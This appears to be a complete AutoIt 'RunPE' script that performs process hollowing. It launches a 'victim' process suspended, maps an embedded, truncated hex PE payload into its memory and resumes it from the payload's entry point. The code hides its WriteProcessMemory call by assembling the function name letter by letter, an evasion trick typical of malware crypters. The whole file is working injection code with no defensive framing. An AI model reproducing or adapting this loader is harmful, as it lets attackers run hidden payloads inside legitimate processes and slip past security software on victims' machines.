Global $bBinary = "0x4D5A90000300000004000000FFFF0000B8000000000000004000000000000000" & _
"0000000000000000000000000000000000000000000000000000000080000000" & _
"................................................................"
Global $iNewPID
; Try 10 times in case of failures
For $i = 1 To 10
ConsoleWrite("Try No" & $i & @CRLF)
$iNewPID = _RunBinary($bBinary)
If Not @error Then ExitLoop
Next
; Let's see if there were any errors
Switch @error
Case 0
ConsoleWrite("New process sucessfully created. PID is: " & $iNewPID & @CRLF)
Case 1
MsgBox(48, "Error", "New process couldn't be created!" & @CRLF & "Check if the path is correct.")
Case 2
MsgBox(48, "Error", "Wrong AutoIt!" & @CRLF & "Should be x64 for x64 and x86 for x86.")
Case 3
MsgBox(48, "Error", "GetThreadContext function failed!" & @CRLF & "Something is wrong.")
Case 4
MsgBox(48, "Error", "Binary data seems to be corrupted!" & @CRLF & "MS-DOS header is wrong or missing.")
Case 5
MsgBox(48, "Error", "Binary data seems to be corrupted!" & @CRLF & "PE signature is wrong.")
Case 6
MsgBox(48, "Error", "Wrong AutoIt!" & @CRLF & "Should be x64 for x64 and x86 for x86.")
Case 7
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure while writting new module binary.")
Case 8
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure while filling PEB structure.")
Case 9
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure while changing base address.")
Case 10
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure with SetThreadContext function.")
Case 11
MsgBox(48, "Error", "Internal error!" & @CRLF & "Failure with ResumeThread function.")
Case 101
If @extended Then
MsgBox(48, "Error", "Error!" & @CRLF & "Not enough space available at desired address. Try again maybe, or change the 'victim'.")
Else
MsgBox(48, "Error", "Error!" & @CRLF & "Executable you try to run is not relocatable. This lowers the possibility of running it in this fassion." & @CRLF & "Try again or find another 'victim', maybe you'll get lucky.")
EndIf
Case 102
MsgBox(48, "Error", "Itanium architecture!" & @CRLF & "No solution. Sorry." & @CRLF & "How did you manage to end up here is beyond my comprehension.")
EndSwitch
; FUNCTION
Func _RunBinary($bBinaryImage, $sCommandLine = "", $sExeModule = @AutoItExe)
#Region 1. DETERMINE INTERPRETER TYPE
Local $fAutoItX64 = @AutoItX64
#Region 2. PREDPROCESSING PASSED
Local $bBinary = Binary($bBinaryImage) ; this is redundant but still...
; Make structure out of binary data that was passed
Local $tBinary = DllStructCreate("byte[" & BinaryLen($bBinary) & "]")
DllStructSetData($tBinary, 1, $bBinary) ; fill it
; Get pointer to it
Local $pPointer = DllStructGetPtr($tBinary)
#Region 3. CREATING NEW PROCESS
; STARTUPINFO structure (actually all that really matters is allocated space)
Local $tSTARTUPINFO = DllStructCreate("dword cbSize;" & _
"ptr Reserved;" & _
"ptr Desktop;" & _
"ptr Title;" & _
"dword X;" & _
"dword Y;" & _
"dword XSize;" & _
"dword YSize;" & _
"dword XCountChars;" & _
"dword YCountChars;" & _
"dword FillAttribute;" & _
"dword Flags;" & _
"word ShowWindow;" & _
"word Reserved2;" & _
"ptr Reserved2;" & _
"ptr hStdInput;" & _
"ptr hStdOutput;" & _
"ptr hStdError")
; This is much important. This structure will hold very some important data.
Local $tPROCESS_INFORMATION = DllStructCreate("ptr Process;" & _
"ptr Thread;" & _
"dword ProcessId;" & _
"dword ThreadId")
; Create new process
Local $aCall = DllCall("kernel32.dll", "bool", "CreateProcessW", _
"wstr", $sExeModule, _
"wstr", $sCommandLine, _
"ptr", 0, _
"ptr", 0, _
"int", 0, _
"dword", 4, _ ; CREATE_SUSPENDED ; <- this is essential
"ptr", 0, _
"ptr", 0, _
"ptr", DllStructGetPtr($tSTARTUPINFO), _
"ptr", DllStructGetPtr($tPROCESS_INFORMATION))
; Check for errors or failure
If @error Or Not $aCall[0] Then Return SetError(1, 0, 0) ; CreateProcess function or call to it failed
; Get new process and thread handles:
Local $hProcess = DllStructGetData($tPROCESS_INFORMATION, "Process")
Local $hThread = DllStructGetData($tPROCESS_INFORMATION, "Thread")
; Check for 'wrong' bit-ness. Not because it could't be implemented, but besause it would be uglyer (structures)
If $fAutoItX64 And _RunBinary_IsWow64Process($hProcess) Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(2, 0, 0)
EndIf
#Region 4. FILL CONTEXT STRUCTURE
; CONTEXT structure is what's really important here. It's processor specific.
Local $iRunFlag, $tCONTEXT
If $fAutoItX64 Then
If @OSArch = "X64" Then
$iRunFlag = 2
$tCONTEXT = DllStructCreate("align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;" & _ ; Register parameter home addresses
"dword ContextFlags; dword MxCsr;" & _ ; Control flags
"word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;" & _ ; Segment Registers and processor flags
"uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;" & _ ; Debug registers
"uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;" & _ ; Integer registers
"uint64 Rip;" & _ ; Program counter
"uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];" & _ ; Floating point state (types are not correct for simplicity reasons!!!)
"uint64 VectorRegister[52]; uint64 VectorControl;" & _ ; Vector registers (type for VectorRegister is not correct for simplicity reasons!!!)
"uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip") ; Special debug control registers
Else
$iRunFlag = 3
; FIXME - Itanium architecture
; Return special error number:
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(102, 0, 0)
EndIf
Else
$iRunFlag = 1
$tCONTEXT = DllStructCreate("dword ContextFlags;" & _ ; Control flags
"dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;" & _ ; CONTEXT_DEBUG_REGISTERS
"dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;" & _ ; CONTEXT_FLOATING_POINT
"dword SegGs; dword SegFs; dword SegEs; dword SegDs;" & _ ; CONTEXT_SEGMENTS
"dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;" & _ ; CONTEXT_INTEGER
"dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;" & _ ; CONTEXT_CONTROL
"byte ExtendedRegisters[512]") ; CONTEXT_EXTENDED_REGISTERS
EndIf
; Define CONTEXT_FULL
Local $CONTEXT_FULL
Switch $iRunFlag
Case 1
$CONTEXT_FULL = 0x10007
Case 2
$CONTEXT_FULL = 0x100007
Case 3
$CONTEXT_FULL = 0x80027
EndSwitch
; Set desired access
DllStructSetData($tCONTEXT, "ContextFlags", $CONTEXT_FULL)
; Fill CONTEXT structure:
$aCall = DllCall("kernel32.dll", "bool", "GetThreadContext", _
"handle", $hThread, _
"ptr", DllStructGetPtr($tCONTEXT))
; Check for errors or failure
If @error Or Not $aCall[0] Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(3, 0, 0) ; GetThreadContext function or call to it failed
EndIf
; Pointer to PEB structure
Local $pPEB
Switch $iRunFlag
Case 1
$pPEB = DllStructGetData($tCONTEXT, "Ebx")
Case 2
$pPEB = DllStructGetData($tCONTEXT, "Rdx")
Case 3
; NEVER BE - Itanium architecture
EndSwitch
#Region 5. READ PE-FORMAT
; Start processing passed binary data. 'Reading' PE format follows.
; First is IMAGE_DOS_HEADER
Local $tIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];" & _
"word BytesOnLastPage;" & _
"word Pages;" & _
"word Relocations;" & _
"word SizeofHeader;" & _
"word MinimumExtra;" & _
"word MaximumExtra;" & _
"word SS;" & _
"word SP;" & _
"word Checksum;" & _
"word IP;" & _
"word CS;" & _
"word Relocation;" & _
"word Overlay;" & _
"char Reserved[8];" & _
"word OEMIdentifier;" & _
"word OEMInformation;" & _
"char Reserved2[20];" & _
"dword AddressOfNewExeHeader", _
$pPointer)
; Save this pointer value (it's starting address of binary image headers)
Local $pHEADERS_NEW = $pPointer
; Move pointer
$pPointer += DllStructGetData($tIMAGE_DOS_HEADER, "AddressOfNewExeHeader") ; move to PE file header
; Get "Magic"
Local $sMagic = DllStructGetData($tIMAGE_DOS_HEADER, "Magic")
; Check if it's valid format
If Not ($sMagic == "MZ") Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(4, 0, 0) ; MS-DOS header missing.
EndIf
; In place of IMAGE_NT_SIGNATURE
Local $tIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $pPointer)
; Move pointer
$pPointer += 4 ; size of $tIMAGE_NT_SIGNATURE structure
; Check signature
If DllStructGetData($tIMAGE_NT_SIGNATURE, "Signature") <> 17744 Then ; IMAGE_NT_SIGNATURE
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(5, 0, 0) ; wrong signature. For PE image should be "PE\0\0" or 17744 dword.
EndIf
; In place of IMAGE_FILE_HEADER
Local $tIMAGE_FILE_HEADER = DllStructCreate("word Machine;" & _
"word NumberOfSections;" & _
"dword TimeDateStamp;" & _
"dword PointerToSymbolTable;" & _
"dword NumberOfSymbols;" & _
"word SizeOfOptionalHeader;" & _
"word Characteristics", _
$pPointer)
; I could check here if the module is relocatable
; Local $fRelocatable
; If BitAND(DllStructGetData($tIMAGE_FILE_HEADER, "Characteristics"), 1) Then $fRelocatable = False
; But I won't (will check data in IMAGE_DIRECTORY_ENTRY_BASERELOC instead)
; Get number of sections
Local $iNumberOfSections = DllStructGetData($tIMAGE_FILE_HEADER, "NumberOfSections")
; Move pointer
$pPointer += 20 ; size of $tIMAGE_FILE_HEADER structure
; In place of IMAGE_OPTIONAL_HEADER
Local $tMagic = DllStructCreate("word Magic;", $pPointer)
Local $iMagic = DllStructGetData($tMagic, 1)
Local $tIMAGE_OPTIONAL_HEADER
If $iMagic = 267 Then ; x86 version
If $fAutoItX64 Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(6, 0, 0) ; incompatible versions
EndIf
$tIMAGE_OPTIONAL_HEADER = DllStructCreate("word Magic;" & _
"byte MajorLinkerVersion;" & _
"byte MinorLinkerVersion;" & _
"dword SizeOfCode;" & _
"dword SizeOfInitializedData;" & _
"dword SizeOfUninitializedData;" & _
"dword AddressOfEntryPoint;" & _
"dword BaseOfCode;" & _
"dword BaseOfData;" & _
"dword ImageBase;" & _
"dword SectionAlignment;" & _
"dword FileAlignment;" & _
"word MajorOperatingSystemVersion;" & _
"word MinorOperatingSystemVersion;" & _
"word MajorImageVersion;" & _
"word MinorImageVersion;" & _
"word MajorSubsystemVersion;" & _
"word MinorSubsystemVersion;" & _
"dword Win32VersionValue;" & _
"dword SizeOfImage;" & _
"dword SizeOfHeaders;" & _
"dword CheckSum;" & _
"word Subsystem;" & _
"word DllCharacteristics;" & _
"dword SizeOfStackReserve;" & _
"dword SizeOfStackCommit;" & _
"dword SizeOfHeapReserve;" & _
"dword SizeOfHeapCommit;" & _
"dword LoaderFlags;" & _
"dword NumberOfRvaAndSizes", _
$pPointer)
; Move pointer
$pPointer += 96 ; size of $tIMAGE_OPTIONAL_HEADER
ElseIf $iMagic = 523 Then ; x64 version
If Not $fAutoItX64 Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(6, 0, 0) ; incompatible versions
EndIf
$tIMAGE_OPTIONAL_HEADER = DllStructCreate("word Magic;" & _
"byte MajorLinkerVersion;" & _
"byte MinorLinkerVersion;" & _
"dword SizeOfCode;" & _
"dword SizeOfInitializedData;" & _
"dword SizeOfUninitializedData;" & _
"dword AddressOfEntryPoint;" & _
"dword BaseOfCode;" & _
"uint64 ImageBase;" & _
"dword SectionAlignment;" & _
"dword FileAlignment;" & _
"word MajorOperatingSystemVersion;" & _
"word MinorOperatingSystemVersion;" & _
"word MajorImageVersion;" & _
"word MinorImageVersion;" & _
"word MajorSubsystemVersion;" & _
"word MinorSubsystemVersion;" & _
"dword Win32VersionValue;" & _
"dword SizeOfImage;" & _
"dword SizeOfHeaders;" & _
"dword CheckSum;" & _
"word Subsystem;" & _
"word DllCharacteristics;" & _
"uint64 SizeOfStackReserve;" & _
"uint64 SizeOfStackCommit;" & _
"uint64 SizeOfHeapReserve;" & _
"uint64 SizeOfHeapCommit;" & _
"dword LoaderFlags;" & _
"dword NumberOfRvaAndSizes", _
$pPointer)
; Move pointer
$pPointer += 112 ; size of $tIMAGE_OPTIONAL_HEADER
Else
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(6, 0, 0) ; incompatible versions
EndIf
; Extract entry point address
Local $iEntryPointNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "AddressOfEntryPoint") ; if loaded binary image would start executing at this address
; And other interesting informations
Local $iOptionalHeaderSizeOfHeadersNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "SizeOfHeaders")
Local $pOptionalHeaderImageBaseNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "ImageBase") ; address of the first byte of the image when it's loaded in memory
Local $iOptionalHeaderSizeOfImageNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "SizeOfImage") ; the size of the image including all headers
; Move pointer
$pPointer += 8 ; skipping IMAGE_DIRECTORY_ENTRY_EXPORT
$pPointer += 8 ; size of $tIMAGE_DIRECTORY_ENTRY_IMPORT
$pPointer += 24 ; skipping IMAGE_DIRECTORY_ENTRY_RESOURCE, IMAGE_DIRECTORY_ENTRY_EXCEPTION, IMAGE_DIRECTORY_ENTRY_SECURITY
; Base Relocation Directory
Local $tIMAGE_DIRECTORY_ENTRY_BASERELOC = DllStructCreate("dword VirtualAddress; dword Size", $pPointer)
; Collect data
Local $pAddressNewBaseReloc = DllStructGetData($tIMAGE_DIRECTORY_ENTRY_BASERELOC, "VirtualAddress")
Local $iSizeBaseReloc = DllStructGetData($tIMAGE_DIRECTORY_ENTRY_BASERELOC, "Size")
Local $fRelocatable
If $pAddressNewBaseReloc And $iSizeBaseReloc Then $fRelocatable = True
If Not $fRelocatable Then ConsoleWrite("!!!NOT RELOCATABLE MODULE. I WILL TRY BUT THIS MAY NOT WORK!!!" & @CRLF) ; nothing can be done here
; Move pointer
$pPointer += 88 ; size of the structures before IMAGE_SECTION_HEADER (16 of them).
#Region 6. ALLOCATE 'NEW' MEMORY SPACE
Local $fRelocate
Local $pZeroPoint
If $fRelocatable Then ; If the module can be relocated then allocate memory anywhere possible
$pZeroPoint = _RunBinary_AllocateExeSpace($hProcess, $iOptionalHeaderSizeOfImageNEW)
; In case of failure try at original address
If @error Then
$pZeroPoint = _RunBinary_AllocateExeSpaceAtAddress($hProcess, $pOptionalHeaderImageBaseNEW, $iOptionalHeaderSizeOfImageNEW)
If @error Then
_RunBinary_UnmapViewOfSection($hProcess, $pOptionalHeaderImageBaseNEW)
; Try now
$pZeroPoint = _RunBinary_AllocateExeSpaceAtAddress($hProcess, $pOptionalHeaderImageBaseNEW, $iOptionalHeaderSizeOfImageNEW)
If @error Then
; Return special error number:
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(101, 1, 0)
EndIf
EndIf
EndIf
$fRelocate = True
Else ; And if not try where it should be
$pZeroPoint = _RunBinary_AllocateExeSpaceAtAddress($hProcess, $pOptionalHeaderImageBaseNEW, $iOptionalHeaderSizeOfImageNEW)
If @error Then
_RunBinary_UnmapViewOfSection($hProcess, $pOptionalHeaderImageBaseNEW)
; Try now
$pZeroPoint = _RunBinary_AllocateExeSpaceAtAddress($hProcess, $pOptionalHeaderImageBaseNEW, $iOptionalHeaderSizeOfImageNEW)
If @error Then
; Return special error number:
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(101, 0, 0)
EndIf
EndIf
EndIf
; If there is new ImageBase value, save it
DllStructSetData($tIMAGE_OPTIONAL_HEADER, "ImageBase", $pZeroPoint)
#Region 7. CONSTRUCT THE NEW MODULE
; Allocate enough space (in our space) for the new module
Local $tModule = DllStructCreate("byte[" & $iOptionalHeaderSizeOfImageNEW & "]")
; Get pointer
Local $pModule = DllStructGetPtr($tModule)
; Headers
Local $tHeaders = DllStructCreate("byte[" & $iOptionalHeaderSizeOfHeadersNEW & "]", $pHEADERS_NEW)
; Write headers to $tModule
DllStructSetData($tModule, 1, DllStructGetData($tHeaders, 1))
; Write sections now. $pPointer is currently in place of sections
Local $tIMAGE_SECTION_HEADER
Local $iSizeOfRawData, $pPointerToRawData
Local $iVirtualAddress, $iVirtualSize
Local $tRelocRaw
; Loop through sections
For $i = 1 To $iNumberOfSections
$tIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];" & _
"dword UnionOfVirtualSizeAndPhysicalAddress;" & _
"dword VirtualAddress;" & _
"dword SizeOfRawData;" & _
"dword PointerToRawData;" & _
"dword PointerToRelocations;" & _
"dword PointerToLinenumbers;" & _
"word NumberOfRelocations;" & _
"word NumberOfLinenumbers;" & _
"dword Characteristics", _
$pPointer)
; Collect data
$iSizeOfRawData = DllStructGetData($tIMAGE_SECTION_HEADER, "SizeOfRawData")
$pPointerToRawData = $pHEADERS_NEW + DllStructGetData($tIMAGE_SECTION_HEADER, "PointerToRawData")
$iVirtualAddress = DllStructGetData($tIMAGE_SECTION_HEADER, "VirtualAddress")
$iVirtualSize = DllStructGetData($tIMAGE_SECTION_HEADER, "UnionOfVirtualSizeAndPhysicalAddress")
If $iVirtualSize And $iVirtualSize < $iSizeOfRawData Then $iSizeOfRawData = $iVirtualSize
; If there is data to write, write it
If $iSizeOfRawData Then
DllStructSetData(DllStructCreate("byte[" & $iSizeOfRawData & "]", $pModule + $iVirtualAddress), 1, DllStructGetData(DllStructCreate("byte[" & $iSizeOfRawData & "]", $pPointerToRawData), 1))
EndIf
; Relocations
If $fRelocate Then
If $iVirtualAddress <= $pAddressNewBaseReloc And $iVirtualAddress + $iSizeOfRawData > $pAddressNewBaseReloc Then
$tRelocRaw = DllStructCreate("byte[" & $iSizeBaseReloc & "]", $pPointerToRawData + ($pAddressNewBaseReloc - $iVirtualAddress))
EndIf
EndIf
; Move pointer
$pPointer += 40 ; size of $tIMAGE_SECTION_HEADER structure
Next
; Fix relocations
If $fRelocate Then _RunBinary_FixReloc($pModule, $tRelocRaw, $pZeroPoint, $pOptionalHeaderImageBaseNEW, $iMagic = 523)
; Write newly constructed module to allocated space inside the $hProcess
$aCall = DllCall("kernel32.dll", "bool", _RunBinary_LeanAndMean(), _
"handle", $hProcess, _
"ptr", $pZeroPoint, _
"ptr", $pModule, _
"dword_ptr", $iOptionalHeaderSizeOfImageNEW, _
"dword_ptr*", 0)
; Check for errors or failure
If @error Or Not $aCall[0] Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(7, 0, 0) ; failure while writting new module binary
EndIf
#Region 8. PEB ImageBaseAddress MANIPULATION
; PEB structure definition
Local $tPEB = DllStructCreate("byte InheritedAddressSpace;" & _
"byte ReadImageFileExecOptions;" & _
"byte BeingDebugged;" & _
"byte Spare;" & _
"ptr Mutant;" & _
"ptr ImageBaseAddress;" & _
"ptr LoaderData;" & _
"ptr ProcessParameters;" & _
"ptr SubSystemData;" & _
"ptr ProcessHeap;" & _
"ptr FastPebLock;" & _
"ptr FastPebLockRoutine;" & _
"ptr FastPebUnlockRoutine;" & _
"dword EnvironmentUpdateCount;" & _
"ptr KernelCallbackTable;" & _
"ptr EventLogSection;" & _
"ptr EventLog;" & _
"ptr FreeList;" & _
"dword TlsExpansionCounter;" & _
"ptr TlsBitmap;" & _
"dword TlsBitmapBits[2];" & _
"ptr ReadOnlySharedMemoryBase;" & _
"ptr ReadOnlySharedMemoryHeap;" & _
"ptr ReadOnlyStaticServerData;" & _
"ptr AnsiCodePageData;" & _
"ptr OemCodePageData;" & _
"ptr UnicodeCaseTableData;" & _
"dword NumberOfProcessors;" & _
"dword NtGlobalFlag;" & _
"byte Spare2[4];" & _
"int64 CriticalSectionTimeout;" & _
"dword HeapSegmentReserve;" & _
"dword HeapSegmentCommit;" & _
"dword HeapDeCommitTotalFreeThreshold;" & _
"dword HeapDeCommitFreeBlockThreshold;" & _
"dword NumberOfHeaps;" & _
"dword MaximumNumberOfHeaps;" & _
"ptr ProcessHeaps;" & _
"ptr GdiSharedHandleTable;" & _
"ptr ProcessStarterHelper;" & _
"ptr GdiDCAttributeList;" & _
"ptr LoaderLock;" & _
"dword OSMajorVersion;" & _
"dword OSMinorVersion;" & _
"dword OSBuildNumber;" & _
"dword OSPlatformId;" & _
"dword ImageSubSystem;" & _
"dword ImageSubSystemMajorVersion;" & _
"dword ImageSubSystemMinorVersion;" & _
"dword GdiHandleBuffer[34];" & _
"dword PostProcessInitRoutine;" & _
"dword TlsExpansionBitmap;" & _
"byte TlsExpansionBitmapBits[128];" & _
"dword SessionId")
; Fill the structure
$aCall = DllCall("kernel32.dll", "bool", "ReadProcessMemory", _
"ptr", $hProcess, _
"ptr", $pPEB, _ ; pointer to PEB structure
"ptr", DllStructGetPtr($tPEB), _
"dword_ptr", DllStructGetSize($tPEB), _
"dword_ptr*", 0)
; Check for errors or failure
If @error Or Not $aCall[0] Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(8, 0, 0) ; ReadProcessMemory function or call to it failed while filling PEB structure
EndIf
; Change base address within PEB
DllStructSetData($tPEB, "ImageBaseAddress", $pZeroPoint)
; Write the changes
$aCall = DllCall("kernel32.dll", "bool", _RunBinary_LeanAndMean(), _
"handle", $hProcess, _
"ptr", $pPEB, _
"ptr", DllStructGetPtr($tPEB), _
"dword_ptr", DllStructGetSize($tPEB), _
"dword_ptr*", 0)
; Check for errors or failure
If @error Or Not $aCall[0] Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(9, 0, 0) ; failure while changing base address
EndIf
#Region 9. NEW ENTRY POINT
; Entry point manipulation
Switch $iRunFlag
Case 1
DllStructSetData($tCONTEXT, "Eax", $pZeroPoint + $iEntryPointNEW)
Case 2
DllStructSetData($tCONTEXT, "Rcx", $pZeroPoint + $iEntryPointNEW)
Case 3
; FIXME - Itanium architecture
EndSwitch
#Region 10. SET NEW CONTEXT
; New context:
$aCall = DllCall("kernel32.dll", "bool", "SetThreadContext", _
"handle", $hThread, _
"ptr", DllStructGetPtr($tCONTEXT))
If @error Or Not $aCall[0] Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(10, 0, 0) ; SetThreadContext function or call to it failed
EndIf
#Region 11. RESUME THREAD
; And that's it!. Continue execution:
$aCall = DllCall("kernel32.dll", "dword", "ResumeThread", "handle", $hThread)
; Check for errors or failure
If @error Or $aCall[0] = -1 Then
DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hProcess, "dword", 0)
Return SetError(11, 0, 0) ; ResumeThread function or call to it failed
EndIf
#Region 12. CLOSE OPEN HANDLES AND RETURN PID
DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hProcess)
DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hThread)
; All went well. Return new PID:
Return DllStructGetData($tPROCESS_INFORMATION, "ProcessId")
EndFunc
Func _RunBinary_LeanAndMean()
Local $aArr[18] = ["W", "r", "i", "t", "e", "P", "r", "o", "c", "e", "s", "s", "M", "e", "m", "o", "r", "y"], $sOut
For $sChar In $aArr
$sOut &= $sChar
Next
Return $sOut
EndFunc
Func _RunBinary_FixReloc($pModule, $tData, $pAddressNew, $pAddressOld, $fImageX64)
Local $iDelta = $pAddressNew - $pAddressOld ; dislocation value
Local $iSize = DllStructGetSize($tData) ; size of data
Local $pData = DllStructGetPtr($tData) ; addres of the data structure
Local $tIMAGE_BASE_RELOCATION, $iRelativeMove
Local $iVirtualAddress, $iSizeofBlock, $iNumberOfEntries
Local $tEnries, $iData, $tAddress
Local $iFlag = 3 + 7 * $fImageX64 ; IMAGE_REL_BASED_HIGHLOW = 3 or IMAGE_REL_BASED_DIR64 = 10
While $iRelativeMove < $iSize ; for all data available
$tIMAGE_BASE_RELOCATION = DllStructCreate("dword VirtualAddress; dword SizeOfBlock", $pData + $iRelativeMove)
$iVirtualAddress = DllStructGetData($tIMAGE_BASE_RELOCATION, "VirtualAddress")
$iSizeofBlock = DllStructGetData($tIMAGE_BASE_RELOCATION, "SizeOfBlock")
$iNumberOfEntries = ($iSizeofBlock - 8) / 2
$tEnries = DllStructCreate("word[" & $iNumberOfEntries & "]", DllStructGetPtr($tIMAGE_BASE_RELOCATION) + 8)
; Go through all entries
For $i = 1 To $iNumberOfEntries
$iData = DllStructGetData($tEnries, 1, $i)
If BitShift($iData, 12) = $iFlag Then ; check type
$tAddress = DllStructCreate("ptr", $pModule + $iVirtualAddress + BitAND($iData, 0xFFF)) ; the rest of $iData is offset
DllStructSetData($tAddress, 1, DllStructGetData($tAddress, 1) + $iDelta) ; this is what's this all about
EndIf
Next
$iRelativeMove += $iSizeofBlock
WEnd
Return 1 ; all OK!
EndFunc
Func _RunBinary_AllocateExeSpaceAtAddress($hProcess, $pAddress, $iSize)
; Allocate
Local $aCall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", _
"handle", $hProcess, _
"ptr", $pAddress, _
"dword_ptr", $iSize, _
"dword", 0x1000, _ ; MEM_COMMIT
"dword", 64) ; PAGE_EXECUTE_READWRITE
; Check for errors or failure
If @error Or Not $aCall[0] Then
; Try differently
$aCall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", _
"handle", $hProcess, _
"ptr", $pAddress, _
"dword_ptr", $iSize, _
"dword", 0x3000, _ ; MEM_COMMIT|MEM_RESERVE
"dword", 64) ; PAGE_EXECUTE_READWRITE
; Check for errors or failure
If @error Or Not $aCall[0] Then Return SetError(1, 0, 0) ; Unable to allocate
EndIf
Return $aCall[0]
EndFunc
Func _RunBinary_AllocateExeSpace($hProcess, $iSize)
; Allocate space
Local $aCall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", _
"handle", $hProcess, _
"ptr", 0, _
"dword_ptr", $iSize, _
"dword", 0x3000, _ ; MEM_COMMIT|MEM_RESERVE
"dword", 64) ; PAGE_EXECUTE_READWRITE
; Check for errors or failure
If @error Or Not $aCall[0] Then Return SetError(1, 0, 0) ; Unable to allocate
Return $aCall[0]
EndFunc
Func _RunBinary_UnmapViewOfSection($hProcess, $pAddress)
DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", _
"ptr", $hProcess, _
"ptr", $pAddress)
; Check for errors only
If @error Then Return SetError(1, 0, 0) ; Failure
Return 1
EndFunc
Func _RunBinary_IsWow64Process($hProcess)
Local $aCall = DllCall("kernel32.dll", "bool", "IsWow64Process", _
"handle", $hProcess, _
"bool*", 0)
; Check for errors or failure
If @error Or Not $aCall[0] Then Return SetError(1, 0, 0) ; Failure
Return $aCall[2]
EndFunc
